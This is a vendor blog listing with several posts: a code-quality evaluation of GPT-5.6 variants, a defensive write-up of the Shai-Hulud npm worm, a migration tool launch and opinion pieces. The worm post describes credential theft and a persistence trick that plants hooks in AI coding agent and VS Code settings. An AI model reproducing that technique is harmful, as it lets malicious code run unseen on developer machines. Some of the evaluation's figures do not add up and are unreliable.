SonarSource Blog

Sonar joins the Open Secure AI Alliance to advance AI safety and security

Tariq Shaukat — Mon, 10 Aug 2026 13:00:00 GMT

Open source technology is critical to the global economy. For decades, it has promoted innovation, security, and trust. That will be even more true in the AI economy.

Sonar is proud to have roots in the open source world, and I’m proud to share that Sonar has joined the Open Secure AI Alliance as an inaugural partner. We’re excited to contribute to this collaborative effort with NVIDIA and other industry leaders to help strengthen the foundations of secure AI.

As AI models become more capable, it is putting a lot of stress on the open source world. We are taking concrete steps to be part of the solution, helping developers, maintainers, and enterprises operate with openness, trust, and confidence.

Some ways we're helping:

Both SonarQube and Gitar AI Code Review are available for free for OSS projects - helping maintainers verify the quality, reliability, and security of their projects.
For several years, Sonar (and previously Tidelift which we acquired) has financially supported over 600 OSS maintainers across thousands of packages, ensuring they can focus on their important work.
SonarQube Community Build and SonarQube for IDE bring the power of SonarQube to millions of developers everywhere, for free and with transparency.
SonarSweep helps enterprises improve Open Weight AI models, to embed context while improving the quality and security of the output.
Our LLM Leaderboard helps people understand the quality and security of leading AI models, covering both proprietary and open weight models.
Last but not least, SonarQube Advanced Security helps developers understand their third party dependencies and the risks associated with them

Read Nvidia’s blog post to learn more: https://blogs.nvidia.com/blog/open-secure-ai-alliance/

OpenAI GPT-5.6 Sol and Terra: An evaluation

Killian Carlsen-Phelan — Thu, 06 Aug 2026 13:00:00 GMT

Every model that writes better code hands your team the same bill: more code to check, and less time to check it. That gap between how fast code arrives and how fast a team can verify it is verification debt, and a stronger model does not pay it down. It moves it.

GPT-5.6 is a better code generator than the model before it. This evaluation is about what that improvement actually costs you, and where.

OpenAI's GPT-5.6 arrived in three variants: Sol, Terra & Luna. We evaluated Sol and Terra here; Luna is out of scope for this run. Same generation, three different builds, and the benchmark data shows they do not behave the same way.

We ran the eval for both Sol and Terra through Sonar's LLM evaluation framework, which measures generated code against the same analysis we'd apply to anything a developer wrote. Same 4,444 Java tasks, same quality profile, same reasoning effort. Because we re-ran GPT-5.5 through the same analysis, every comparison below is apples to apples.

The short version: Sol writes more correct code than GPT-5.5, and it is easier to read. But the security risk moved, and it moved into two places a code review will not reliably catch. Let’s get into the details and look at the full data.

How was GPT-5.6 Sol and Terra evaluated?

Models: GPT-5.6 Sol, GPT-5.6 Terra, GPT-5.5 (baseline)

Language: Java

Benchmark: 4,444 tasks (HumanEval, MBPP, ComplexCodeEval)

Reasoning effort: medium, for all three

Analyzer: SonarQube algorithmic code analysis. Complexity and code smell densities are per 1,000 lines of code (kLOC); bug and vulnerability densities, and all category breakdowns, are per million lines (mLOC).

Two terms worth defining before the numbers:

Cyclomatic complexity: counts independent paths through a function.
Cognitive complexity: a SonarQube metric that weights nested and deeply branched logic more heavily, reflecting how hard the code is for a human to read.

Neither one tells you whether the code is correct. Both tell you how long review and testing will take.

In the severity tables below, the per-severity rows are counted against total issues raised, so they sum slightly above the headline density figures for the 5.6 variants. Read the severities as a distribution, not as a total.

Key metrics at a glance

Metric	GPT-5.5	GPT-5.6 Sol	GPT-5.6 Terra
Lines of code (total)	702,720	750,198	617,132
Comments (% of LOC)	2.0%	1.5%	0.9%
Cyclomatic complexity per kLOC	250.57	220.45	236.25
Cognitive complexity per kLOC	151.27	143.23	161.53
Bug density per mLOC	504	724	763
Vulnerability density per mLOC	68	197	203
Code smell density per kLOC	17.05	17.60	23.31
Overall issue density per kLOC	17.62	18.52	24.27
Functional skill (pass rate)	78.66%	81.99%	79.96%
Missing completions	0.27%	0.25%	0.18%

Functional skill

Sol passes 81.99% of the benchmark, up from 78.66% for GPT-5.5. That's a 3.3 point gain on identical tasks.

It also leaves roughly one in five solutions failing its tests. You can't tell in advance which one. That's not a knock on the model, it's just the arithmetic of the thing.

Missing completions came in at 0.25% for Sol. Low, and close enough to GPT-5.5's 0.27% that the model finishes what it starts.

How much code does GPT-5.6 Sol generate compared to GPT-5.5?

Sol generated 750,198 lines across the benchmark, about 6.8% more than GPT-5.5. But it did that across 82,164 functions, down from 92,206. More code, fewer functions.

Work that out per function and you get 9.1 lines, up from 7.6. Sol writes longer functions that do more. Not a problem on its own, though it does mean each unit you review carries more logic than it used to.

Comments dropped to 1.5% of output, from 2.0%. In absolute terms that's 11,713 comment lines across 750,000 lines of code. For every 100 lines a reviewer opens, roughly one and a half carry any explanation. Well-named functions and variables can carry that load instead, and often do. Just worth knowing going in.

Does GPT-5.6 Sol generate more complex code than GPT-5.5?

Here's a nice surprise: complexity densities came down.

Cyclomatic complexity is 220.45 per kLOC, down from 250.57. Cognitive complexity is 143.23 per kLOC, down from 151.27. Sol writes more total code, but each thousand lines of it branches less than GPT-5.5's did.

That matters because cognitive complexity tracks how hard code is for a person to hold in their head. Nested conditionals, loops inside loops, branching where you have to track several states at once. Lower is easier to review, easier to test, easier to change without breaking something. Sol moved in the right direction on both counts.

Bug density and severity

Bug density is 724 per mLOC, up from 504. That's an increase of about 44%.

Severity	GPT-5.5	GPT-5.6 Sol
Blocker	36	45
Critical	26	33
Major	238	327
Minor	205	351

Blockers and criticals are the two that cause production incidents, and both moved up, to 45 and 33 per mLOC. The bigger movement is in the long tail. Minor bugs went from 205 to 351 per mLOC, a 71% jump. Those don't break anything today. They accumulate, slow down future changes, and occasionally surface as real bugs once the codebase shifts around them.

The largest categories are where this gets specific:

Bug category	GPT-5.5	GPT-5.6 Sol
Concurrency / threading	165	352
Performance / structure	47	83
Resource / stream leaks	74	55
Exception handling	53	52
Null / data value	34	55
Type safety / casts	34	57

Concurrency and threading more than doubled, and it now sits well clear of everything else at 349 per mLOC. Concurrency bugs are the expensive kind. They're hard to reproduce, they depend on the environment they run in, and they show up as intermittent failures that eat days of debugging time.

Resource leaks, exception handling, and type safety all improved slightly. Small moves, but they're moves in the right direction.

What security vulnerabilities does GPT-5.6 Sol generate in code?

Vulnerability density is 197 per mLOC, up from 68. This is the biggest change in the evaluation, and the severity split is the part worth reading closely.

Severity	GPT-5.5	GPT-5.6 Sol
Blocker	18	9
Critical	20	125
Major	9	20
Minor	21	49

Blocker vulnerabilities halved, from 18 to 9 per mLOC. Everything else went up, with the critical category carrying most of it.

So the shape of the profile changed, not just the volume. In GPT-5.5, blockers made up 27% of all vulnerabilities. In Sol they're under 5%, and criticals are just under 62%. Fewer of the most severe findings, considerably more of the tier below.

The category breakdown explains where the increase came from. This is the full picture for both variants, and the rows add up to the density, so nothing is hiding:

Vulnerability category	GPT-5.5	GPT-5.6 Sol	GPT-5.6 Terra
Cryptography misconfiguration	17	67	76
Insecure system resource handling	1	60	50
Inadequate error handling (I/O)	21	32	23
Injection attack	-	17	16
Path traversal / injection	10	4	-
XML external entity (XXE)	9	1	8
Hard-coded credentials	9	4	6
Certificate validation omissions	1	1	5
Web API security misconfiguration	-	4	2
Uncategorized	9	13	16
Total	68	197	202

Injection attack findings don't appear in the GPT-5.5 output, and together with the insecure in insecure system resource handling they account for 76 of Sol's 129-point increase.

Cryptography misconfiguration is the other big mover, from 17 to 67 per mLOC, and it's now the largest single category. This covers weak algorithms, insecure key sizes, and random number generators used in ways they shouldn't be. It's also a category static analysis handles reliably, which is the useful part.

Some categories went the other way. Path traversal and injection dropped from 10 to 4 per mLOC, and XXE from 9 to 1. Both were already low and both got lower.

If you're wiring Sol into a pipeline, cryptography and system resource handling are where review time pays for itself. Those two are most of the story.

How maintainable is GPT-5.6 Sol generated code?

Code smell density is 17.60 per kLOC, against 17.05 for GPT-5.5. That's a 3.2% difference. Effectively flat.

Which is a genuinely good result given the extra volume. Blocker-level smells even came down, from 78 to 72 per mLOC.

The drivers are the same ones we've seen from this family:

Code smell category	GPT-5.5	GPT-5.6 Sol
Collection / generics parameter type	7,272	7,803
Design / framework best practices	2,115	2,494
Regex / pattern / string format	2,219	1,998
Cognitive computational complexity	1,205	1,213
Dead / unused / redundant code	1,434	862
Deprecation / obsolete API	189	321

Collection and generics issues are the largest named category, at 7,803 per mLOC. Raw types where parameterized generics belong, collection handling that sidesteps type safety. In Java these have a real cost: they suppress compiler warnings, make refactoring harder, and hide the kind of bug a properly typed implementation would have caught at compile time.

Dead and unused code dropped by about 40%, from 1,434 to 862 per mLOC. Deprecated API usage went the other way, from 189 to 321.

How does GPT-5.6 Terra differ from GPT-5.6 Sol?

Terra takes a visibly different approach to the same 4,444 tasks, and if you're choosing between the two variants the differences are worth having in front of you.

Metric	GPT-5.5	GPT-5.6 Sol	GPT-5.6 Terra
Lines of code	702,720	750,198	617,132
Functions	92,206	82,164	70,378
Comments (% of LOC)	2.0%	1.5%	0.9%
Cognitive complexity per kLOC	151.27	143.23	161.53
Pass rate	78.66%	81.99%	79.96%
Bug density per mLOC	504	724	763
Vulnerability density per mLOC	68	197	203
Code smell density per kLOC	17.05	17.60	23.31

Start with volume. Terra wrote 617,132 lines, 12.2% fewer than GPT-5.5 and 18% fewer than Sol. It used 70,378 functions to do it, roughly a quarter fewer than GPT-5.5. Terra is the concise one.

Its pass rate is 79.96%, a little above GPT-5.5 and a little under Sol. It also had the fewest missing completions of the three, at 0.18%.

The tradeoff shows up in density. Because Terra packs the same work into fewer lines, its per-kLOC figures run higher. Code smell density is 23.31 per kLOC, 37% above GPT-5.5. Cognitive complexity is 161.53 per kLOC, the highest of the three. Comments are 0.9% of output, which works out to 5,600 comment lines in total.

Most of the extra smell volume is minor severity, which went from 6,145 to 10,367 per mLOC. Blocker-level smells actually came down, from 78 to 62 per mLOC, the best of the three. And collection and generics issues nearly doubled to 11,843 per mLOC, which is the single largest driver.

On security, Terra lands close to Sol: 203 vulnerabilities per mLOC, with cryptography misconfiguration at 76 and blockers at 11. Its bug profile is close too. Bug density is 763 per mLOC, about 51% above GPT-5.5, and concurrency and threading leads at 350 per mLOC.

The short version: Sol gives you the higher pass rate and flat maintainability at slightly more volume. Terra gives you meaningfully less code and the lowest blocker-smell density, with more findings per line. Neither is strictly ahead of the other, and which one fits depends on whether your bottleneck is review volume or review depth.

How do GPT-5.6 Sol and Terra token usage compare to GPT-5.5?

One more thing from the data, with a caveat attached.

Input tokens were effectively identical across all three runs at about 1.32 million, which is what you'd expect from the same benchmark. Output tokens weren't. GPT-5.5 produced 5.55 million, Sol produced 9.58 million, and Terra produced 8.37 million. That's 73% and 51% more output for code volume that moved a lot less.

Both 5.6 variants also report reasoning tokens: 4.00 million for Sol, 3.66 million for Terra.

What are the biggest risks of using GPT-5.6 generated code in production?

GPT-5.6 writes more correct code, and code that is easier to read. Neither of those removes the need to verify what it produces. They change where verification has to point, and this evaluation says exactly where.

Two areas earn that attention, and both are places a read-through tends to miss.

Concurrency is the first. At 352 per mLOC for Sol and 350 for Terra, threading is comfortably the largest bug category in both variants. Concurrency bugs are intermittent, environment-dependent, and expensive to reproduce. If what you generate is concurrent by nature, plan to catch these at the testing and analysis stage, because they do not reliably surface in review.

Security configuration is the second, and it is narrower than you might expect. Cryptography misconfiguration and insecure system resource handling are the top two vulnerability categories in both variants, and between them they explain most of the rise over GPT-5.5. Both are exactly the kind of finding automated analysis that catches reliably that makes this a solvable problem, not a standing tax on reviewer time.

The variant choice is a real one. Sol for the higher pass rate and flat maintainability. Terra if less code matters more to you than fewer findings per line.

Three takeaways:

Correctness improved, clearly. Sol's 81.99% pass rate is 3.3 points above GPT-5.5 on identical tasks, and complexity density came down at the same time.
The security profile changed shape. Blocker vulnerabilities halved to 9 per mLOC while criticals moved to 125. Cryptography and system resource handling are where verification should focus.
The two variants are genuinely different. Terra writes 12% less code than GPT-5.5 with the lowest blocker-smell density of the three, at a higher findings-per-line rate. Pick the profile that matches your bottleneck.

Full evaluation results for both GPT-5.6 variants, along with every other model we've measured, are on the Sonar LLM Leaderboard.

The return of Shai-Hulud: How SonarQube detects and contains the npm worm

Taylor Luttrell-Williams — Wed, 05 Aug 2026 13:00:00 GMT

Here we go again. A fresh wave of the self-propagating Shai-Hulud worm is surging through the npm ecosystem. Its goal now is the same as it was with every prior wave: steal developer and CI credentials, then use those credentials to republish itself inside more packages. The name is a callback to the sandworms of Dune, and the worm’s behavior tracks. Once it's burrowed itself into your dependency tree, it's hard to detect and it doesn't stay put.

If you maintain Node.js projects or run npm installs anywhere in your pipelines, this post is for you. Here we cover what the worm does, how it spreads, and how SonarQube detects and contains known bad packages before they reach production.

What is the Shai-Hulud worm and how did it start?

Shai-Hulud is a self-replicating supply chain worm targeting npm, and it has erupted in waves since September 2025. GitHub, which operates the registry, has watched the campaign escalate from opportunistic compromises into engineered attacks on maintainer workflows and CI pipelines. CISA documented one earlier wave that compromised over 500 npm packages. The mechanics are consistent across waves: an attacker gets control of a maintainer account, publishes a trojanized version of a popular package, and the malicious code gets to work the moment it's installed.

According to CISA's advisory, the payload scans the environment for sensitive credentials, targets GitHub personal access tokens and cloud API keys for AWS, GCP, and Azure, and exfiltrates what it finds. It then authenticates to the registry as the compromised maintainer and publishes infected versions of other packages that account can touch. One stolen token thereby becomes the seed for the next round of infections.

How the worm operates

Infection — A compromised maintainer account ships a malicious version of a package. It lands in your project through a normal install or a lockfile update. It doesn't have to be a direct dependency, as a transitive package located five levels down is just as effective.
Credential harvest — Once the code runs, it reads environment variables and well known credential file paths: npm tokens, cloud keys, SSH keys, CI secrets, etc. Anything a build agent can see, the payload can see too.
Propagation — The worm uses the stolen npm token to authenticate as the victim and republish trojanized versions of every package that account maintains. Those packages flow out to their own dependents, and the loop repeats.

Evolution — The newer variants go after AI coding agents for persistence. As our team documented in Mini Shai-Hulud targets AI coding agents, one variant writes a SessionStart hook into .claude/settings.json so that opening a repo runs node .claude/setup.mjs every session, with a VS Code tasks.json equivalent that fires on folderOpen. Once you open an infected repo in a trusted workspace, the attacker's code runs, with no install step required.

How SonarQube detects and contains it

SonarQube's malicious package detection compares your dependencies against a live feed of known bad packages and flags a match as soon as its scan finds one. This is the layer that catches the worm during its propagation phase, when a compromised version is actively spreading across the ecosystem.

The primary layer — malicious package detection

SonarQube Advanced Security includes software composition analysis that checks your dependency tree against constantly updated lists of known malicious packages, drawing on community threat intelligence such as the OpenSSF Malicious Packages database. This is different from traditional CVE-based scanning. A worm like Shai-Hulud is active malware, not a vulnerability sitting in otherwise legitimate code, and it often never gets a CVE at all. It also catches what signing can't: a package can carry valid build provenance and signed attestations and still be malicious, because those verify how it was built, not whether the code that entered the pipeline was safe. This check matches the package and version against known malicious package intelligence, which is why it holds up even when a poisoned release rides a trusted, fully attested CI pipeline.

When a known bad package turns up in your tree, SonarQube surfaces it as a blocker-severity dependency risk. Add a dependency-risk condition to your quality gate, and with your pipeline set to break on a failing gate, that risk stops the build before the compromised dependency ships. npm, Yarn, pnpm, and Bun are all supported ecosystems.

SonarQube re-checks the dependencies on your permanent branches against the latest feed on a schedule, once per day by default. So a package that was clean when you installed it and later gets catalogued as malicious will be flagged on the next rescan, with no new commit required. That's the exact failure mode this attack creates: the version you pulled last week is the version that goes bad this week.

Supporting layer — catch before commit

The SonarQube CLI installs a Git pre-commit hook that runs on the developer's machine, before anything reaches CI. When a commit changes a dependency manifest or lockfile, the hook scans the changed dependencies and blocks the commit on any new risk rated medium severity or higher, which covers every malicious package risk, since those are always blocker severity. That pushes the catch point as early as it goes: a known bad package never makes it into a commit. If the scanner can't run or the network is unavailable, the hook fails open and allows the commit through, so treat it as a first line of defense rather than the only one.

Supporting layer — dependency pre-flight for agents

The SonarQube MCP Server can require a dependency check against the same threat intelligence before an agent modifies a manifest or lockfile. This class of malware spreads through dependency changes, so the check catches a known bad package at the exact point it would enter your project. It's a guardrail rather than a hard block, and like every feed-based check, it's only as good as the feed is current.

Supporting layer — secrets detection

Secrets detection won't stop the infection, but the worm's entire payoff is credential theft. If a stolen or hardcoded credential lands in your code, rules like S6418 and S2068 catch it and shrink the impacted area. Note that this serves as a containment layer, not a prevention layer.

In summary, SonarQube detects and contains known Shai-Hulud packages and helps shrink the blast radius when a stolen or hardcoded credential ends up in your code. No feed-based check catches a compromise the instant it's published, and you should be skeptical of any tool that claims to prevent every supply chain attack. SonarQube, however, gives you a net that catches this worm while it spreads and the daily rescan that flags it after the fact, the two windows through which it wreaks havoc.

Next steps

If you think you've been affected, time is of the essence and your order of operations is consequential. Work through this list from top to bottom:

Stop the bleed — Halt affected CI/CD pipelines. If you find persistence artifacts (unexpected SessionStart hooks, rogue background services), remove them before rotating tokens so a live payload can't recapture the new credentials.
Rotate credentials — Rotate npm tokens, GitHub personal access tokens, cloud keys (AWS, GCP, Azure), SSH keys, and CI secrets. Perform this step even if you have MFA enabled.
Clean the tree — Audit your dependencies, remove node_modules, and reinstall from a known good lockfile. Don't rely on latest or a version bump alone; attackers flip tags, so pin and verify the exact resolved versions your lockfile installs.
Turn on the net — Enable software composition analysis in SonarQube Advanced Security with quality gate enforcement in CI/CD, and confirm the daily rescan is running on your permanent branches.
Guard the agents — If you use coding agents, wire the MCP dependency pre-flight and audit your .claude/ and .vscode/ config directories for injected hooks.
Catch the leaks — Enable secrets detection so that any credential that does slip into code gets flagged fast.
Harden the install path — Disable or restrict npm install scripts (for example, install with --ignore-scripts in CI, or use an npm release that blocks unapproved lifecycle scripts by default) so a malicious preinstall can't execute in the first place.

Here we go again

Supply chain attacks used to run once, at install time, but the newer Shai-Hulud variants persist inside the tools developers use every day, including AI coding agents that add and change dependencies on their own. That shift is exactly why defense has to live at the point of change. A feed-backed quality gate that fails the build on a known bad package is how you keep the loop clean as more of that loop becomes automated.

Shai-Hulud will likely return. The packages may carry different names, and the mechanics may shift, but the defense mustn’t: know what's in your dependencies, block the versions that are known bad, and rotate fast when something gets through.

Migrating to SonarQube Cloud just got a whole lot easier

Olivier Korach — Fri, 31 Jul 2026 13:00:00 GMT

We are excited to announce the launch of the Sonar Migration Tool, a new, purpose-built utility that makes migrating from SonarQube Server to SonarQube Cloud faster, more reliable, and accessible to every team, regardless of the size or complexity of their setup.

What does the Sonar Migration Tool do?

The Sonar Migration Tool automates the end-to-end migration of a SonarQube Server instance to SonarQube Cloud Enterprise. It is robust, fully documented, and designed from the ground up with ease and self-service in mind.

It migrates:

Projects, with all their settings, webhooks, links, and new code period configuration
Quality Gates and Quality Profiles, including custom rules and parent relationships
Groups, Permissions, and Permission Templates
Portfolios (Enterprise edition)
Issue and Security Hotspot history, statuses, comments, tags, and triage decisions are preserved
Source code and metrics, so your projects on SonarQube Cloud are seeded immediately, no immediate re-scan required
All branches, non-main branches migrate as long-lived branches with their full issue history intact
Issue creation dates:, preserved via backdating, so your new-code-period baseline remains accurate from day one

How do you run the Sonar Migration Tool step by step?

For teams with a straightforward setup, one SonarQube Server instance feeding a single SonarQube Cloud organization, migration now takes four commands and a config file.

sonar-migration-tool extract --config my-config.json
sonar-migration-tool structure --config my-config.json
sonar-migration-tool mappings --config my-config.json
sonar-migration-tool migrate --config my-config.json \
    --default_organization <someOrg>

The config file itself is minimal, just your SonarQube Server URL and token, and your SonarQube Cloud token and enterprise key.

For even simpler cases, such as migrating a single project or a small known set of projects, the transfer command chains all four phases into one.

sonar-migration-tool transfer \
  --source_url https://sonarqube.example.com \
  --source_token squ_xxx \
  --project_key <myProjectKey> \
  --target_token squ_xxx \
  --default_organization <someOrg>

One command. Done.

For teams who prefer not to type commands at all, a browser-based GUI is also available.

The GUI is currently experimental in the first release, but will be fully supported in a coming release.

sonar-migration-tool gui --config my-config.json

This opens a guided migration interface in your default browser with progress bars, an event log, and visual CSV editors.

Customers can run it themselves

One of the core design objectives of the Sonar Migration Tool is self-service. For customers with a simple setup, such as a single SonarQube Server instance and a single SonarQube Cloud organization, no technical assistance from Sonar is needed. Download the binary, prepare a config file, run four commands.

The tool ships as a single static binary with no installer, no runtime dependencies, and no database. It runs on macOS, Linux, and Windows (X64 and ARM64). There is nothing to install beyond downloading and making it executable.

For more complex migrations, like multiple SonarQube Server instances, multiple target organizations, or environments requiring careful review of the mapping between DevOps platforms and SonarQube Cloud organizations, the multi-phase workflow gives full control over each step. It also includes the ability to review and edit intermediate CSV files before committing to the migration in order to plan your migration.

How fast is it?

Migration speed depends on a number of factors: the number of projects, total lines of code, branch count, the number of issues with manual triage, and network latency. As a general reference point, the tool has been benchmarked against a representative small platform: 70 projects, 100 branches, 500K lines of code, and 1,000 issues with manual changes. Performance figures for this configuration are available in the quick-start guide.

For large instances (50,000+ projects), concurrency and timeout settings can be tuned, and the tool's resume capability ensures that a failure (OOM, network disconnection…) at any point does not require restarting from scratch.

Which SonarQube Server versions are supported by the Sonar Migration Tool?

The Sonar Migration Tool is compatible with:

All editions of SonarQube Server: Developer, Enterprise, and Data Center and even SonarQube Community Build
All LTA versions from SonarQube Server 9.9 and above (intermediate versions are likely to work but have not been formally validated)
All Active SonarQube Server versions at any given moment (currently 2026.3 and 2026.4 as of Aug 1st, 2026)

Authentication is version-aware: Basic auth is used for SonarQube Server versions below 10, and Bearer token for version 10 and above.

What are the prerequisites for migrating to SonarQube Cloud?

Before running the tool, you will need:

A SonarQube Cloud Enterprise account with the target organizations already created
Admin access to your SonarQube Server or Community Build instance (System Admin token)
A SonarQube Cloud admin token with enterprise-level permissions
A machine with at least 8 GB of RAM (the tool itself uses around 3 GB)
Local disk space equal to at least 5× the size of your SonarQube Server database (the extracted data is stored locally before being pushed to the cloud)

Installation is a single step: download the binary for your operating system from the releases page, extract the archive, and make it executable.

mv sonar-migration-tool-<OS>-<ARCH> sonar-migration-tool
    chmod +x sonar-migration-tool
    ./sonar-migration-tool --help

No Go installation, no package manager, no configuration files required to get started.

Detailed migration reporting

One of the most important capabilities of the Sonar Migration Tool is its migration report. Because SonarQube Server and SonarQube Cloud are not feature-identical, a migration is rarely 100% perfect, and the tool is transparent about this.

After every migration run, a report is generated in both PDF and Markdown formats (migration_summary.pdf / migration_summary.md). Every migrated object is classified as:

Perfect — migrated with 100% fidelity
Near Perfect — migrated with minor, acceptable loss of fidelity
Partial — migrated with significant loss of fidelity (with explanation)
Failed — an error occurred during migration (with detail)
Skipped — not migrated, either by configuration or because the concept does not exist in SonarQube Cloud

The report explains why each non-perfect result occurred. Common reasons include: Quality Gates using metrics that don't exist in SonarQube Cloud, Quality Profiles with rules from third-party plugins, permissions granted to individual users (SonarQube Cloud manages identity through an IdP), or projects using a reference branch as their new code period.

Before running the actual migration, teams can generate a predictive report using only the output extract, no SonarQube Cloud credentials required. This makes it possible to review expected results in advance, including sending the output extract to Sonar's technical team for a pre-migration review.

What are the limitations of migrating from SonarQube Server to SonarQube Cloud?

The tool migrates everything it can, but some aspects of a SonarQube Server configuration have no equivalent in SonarQube Cloud or require manual steps post-migration:

Project analysis history is not migrated, only the latest analysis state is preserved
User accounts and authentication are not migrated, identity management in SonarQube Cloud is handled by your identity provider and must be configured separately
Permissions granted to individual users (as opposed to groups) are not migrated.
Applications are not migrated
Portfolio hierarchies are not migrated (flat portfolios are)
Issue assignments are not preserved
SCM blame data is attributed to a generic sonar-migration-tool committer, this resolves itself after the first real scan on SonarQube Cloud
CI/CD pipeline configuration must be updated manually (change SONAR_HOST_URL and SONAR_TOKEN in your pipelines)

Post-migration activities

Once the migration tool completes successfully, a few manual steps are needed to finish the transition:

Verify in SonarQube Cloud: confirm projects appear under the target organization, spot-check quality gates and profiles, and verify issue history and branches
Bind projects to DevOps platforms: repository bindings (GitHub, GitLab, Azure DevOps, Bitbucket) are not migrated and must be configured in SonarQube Cloud
Update CI/CD pipelines: point your pipelines at SonarQube Cloud by updating SONAR_HOST_URL and SONAR_TOKEN
Re-scan your projects: run a normal analysis from your CI pipelines to confirm everything works end to end on the new platform
Migrate other integrations: IDE Connected Mode settings, email notifications, and any custom API integrations or provisioning scripts will need to be reconfigured for SonarQube Cloud
Decommission your SonarQube Server instance once you are satisfied with the migration

For complex environments, Sonar's Solutions Engineering and Onboarding teams can assist with a structured four-phase engagement: discovery and planning, migration strategy definition, migration execution, and post-migration validation.

The time to move to SonarQube Cloud is now

SonarQube Cloud is where Sonar's rapid investments in code analysis, AI coding workflows, AI-assisted remediation, and developer experience show up first. With the launch of the Sonar Migration Tool, the last significant barrier to migration, the effort and risk of the move itself, has been removed.

Whether your team wants to run the migration independently over a weekend or work with Sonar's technical team on a structured project, the path is now clear, automated, and transparent.

Get started with the Sonar Migration Tool →

The Sonar Migration Tool is available now. Download the binary for your platform from the releases page and follow the quick-start guide to begin your migration to SonarQube Cloud.

Why Sonar signed the Open Weights and American AI Leadership letter

Harry Wang — Fri, 31 Jul 2026 13:00:00 GMT

AI leadership will not be decided by a single model, or a single provider. It will be shaped by whether organizations across the economy can adopt AI in ways that are practical, adaptable, secure, and sustainable.

That is why Sonar has signed the Open Weights and American AI Leadership letter. The letter makes the case for an AI ecosystem where open-weight models — models organizations can download, inspect, adapt, and run on their own infrastructure — help expand access, strengthen competition, and give organizations greater control over the AI capabilities they depend on.

For Sonar, this is ultimately about choice and confidence.

Choice matters in the AI era

No single model is right for every workload. Proprietary models can be the right option where simplicity, low infrastructure overhead, and scalability are essential. Open-weight models can be a strong fit where organizations need greater control over deployment, data, cost, latency, or customization.

The question is not frontier or open weight. It is which model is right for a particular job, and whether an organization can make that choice without being locked into a single approach.

Open weights give more teams the ability to build, evaluate, and deploy AI on terms that fit their needs. They can help startups, enterprises, public institutions, and researchers access advanced capabilities without training models from scratch or relying on a single provider for every use case. They also broaden the competition and experimentation that move the entire ecosystem forward.

Openness requires accountability

The case for open weights is not a case for ignoring risk. The letter recognizes that open-weight models carry real considerations, including the fact that released weights cannot be fully controlled or recalled. Those risks deserve serious attention and targeted, practical responses.

But restricting access is not the only path to security. Transparency can enable more researchers, developers, and defenders to inspect systems, identify weaknesses, test safeguards, and improve them over time. A resilient AI ecosystem needs both innovation and accountability.

That is particularly important as AI moves from answering questions to writing, reviewing, and modifying production software.

Every model needs verification

AI is accelerating the pace of software development. Whether code originates from a model accessed through an API, a self-hosted open-weight model, or an AI agent that uses several models, the code still has to meet the standards organizations rely on for security, reliability, and maintainability.

Model choice does not replace analysis, testing, or review. In fact, as code generation accelerates, independent verification becomes more important.

Sonar helps organizations apply a consistent, zero-trust, multilayered verification standard across the software development lifecycle. That means teams can adopt the models and AI agents that best fit each workload while holding every line of code to the same engineering standard.

This is how organizations can make AI adoption durable: by pairing flexibility in how they build with confidence in what they ship.

Building an AI ecosystem that lasts

A strong American AI ecosystem should create more opportunity for organizations to innovate, compete, and build with confidence. Open-weight models are an important part of that ecosystem because they give organizations more options to apply AI where it can create real value.

Sonar is proud to support the Open Weights and American AI Leadership letter. We believe the future of AI development should give organizations the freedom to choose the right tools for the job, alongside the independent verification needed to turn that choice into trustworthy software.

CLI vs. IDE: How to choose the best environment

Taylor Luttrell-Williams — Tue, 28 Jul 2026 13:00:00 GMT

In the agentic era, a great debate is stirring up the developer community: CLI vs. IDE for AI coding. Ask two developers where their AI coding agent should live and you might start an argument. One swears by the IDE, where the agent works inside a comprehensive editing environment: live diffs, project-wide navigation, language tooling, and an integrated debugger all within reach. The other runs the agent from the terminal, where it reads files, runs commands, and applies edits directly through the shell. Both ship code, and both think the other camp is driving their agents from the wrong seat. But while each side has compelling evidence to support their claim, what matters more than your preferred agentic environment is whether the code your agent produces is any good, and whether you can trust it, no matter which environment you’re working from.

The case for the IDE

The IDE has years of ergonomics supporting it. When an agent runs inside Cursor, Devin, Kiro, Zed, or VS Code, it inherits all of that: syntax highlighting, inline diffs, a file explorer, integrated source control, and a debugger within click’s reach. You can watch a change land, scan the surrounding code, and accept or reject a suggestion without breaking focus and do so all in real time.

That visual context is the meat behind the pitch. The UI/UX is familiar, the learning curve is gentle, and reviewing what the agent accomplishes feels intuitive. For developers who think in terms of files and windows, the IDE keeps the agent close to the work at hand and close to the tools that verify it.

The trade-off is weight. IDEs carry overhead, they can feel busy when you want to move fast, and the graphical layer sometimes sits between you and the raw mechanics of what your agent is actually doing.

The case for the CLI

Then there’s the so-called terminal renaissance that’s sweeping the developer community. Command line agents like Claude Code, GitHub Copilot CLI, Codex CLI, OpenCode CLI, and Antigravity CLI have pulled developers back to the shell, and the appeal is efficiency. The terminal is fast, scriptable, and composable. It pipes into everything else you already run, drops cleanly into CI, and strips away unnecessary visual chrome so that you can focus on intent and output.

The CLI carries a simplicity that many developers missed: one prompt, one clear result, without the context switching between panels. You can chain an agent into a git workflow, a build script, or a scheduled job without leaving the environment where the rest of your automation lives. For developers who value convenience measured in keystrokes and scripts rather than clicks, the CLI feels like home.

The cost lies on the flip side of its strength: less visual feedback, a steeper ramp for those not fluent in the shell, and fewer guardrails between a suggestion and your codebase.

The debate misses the point

Regarding ease of use, efficiency, convenience, and simplicity: each side has real claims to some, but neither checks all of the boxes. At the end of the day, the CLI vs. IDE debate is mostly a question of taste and workflow preference, and neither is as important as the code being produced.

AI agents generate code quickly in both environments, and speed without verification is how bugs, security vulnerabilities, and maintainability issues slip into and accumulate within your projects. The agent does not care where it runs and neither do the issues it can introduce. To that end, the environment in question is far less important than the code, which itself raises an important question: how do you ensure code quality and security wherever your agent happens to be working?

SonarQube meets you where you work

SonarQube’s zero trust, multilayered verification process ensures that the code produced by your agents hits the mark from the start, and integrates wherever you drive your agents. It plugs the same, trusted analysis you rely on into whichever environment you choose, so you never have to trade your preferred workflow for code you can trust.

In the terminal, there’s the SonarQube CLI: a command line companion for SonarQube Cloud and SonarQube Server that lets you scan for secrets, analyze local changes, and query your projects and issues without leaving the shell. It also wires SonarQube directly into your AI coding assistants, so the analysis runs where the agent runs.

For CLI-based agents, there are the SonarQube agent integrations: plugins that connect agents to the SonarQube CLI and SonarQube MCP Server for issue detection, project metrics like test coverage and duplications, dependency risk checks, and more. Claude Code, Copilot CLI, Codex CLI, and Antigravity CLI install agent hooks for secrets scanning through the SonarQube CLI, and, when entitled, Sonar Vortex lends your agents project context and constraints, and provides agentic loop verification. Your agent gets a quality and security check built into its loop instead of bolted on afterward.

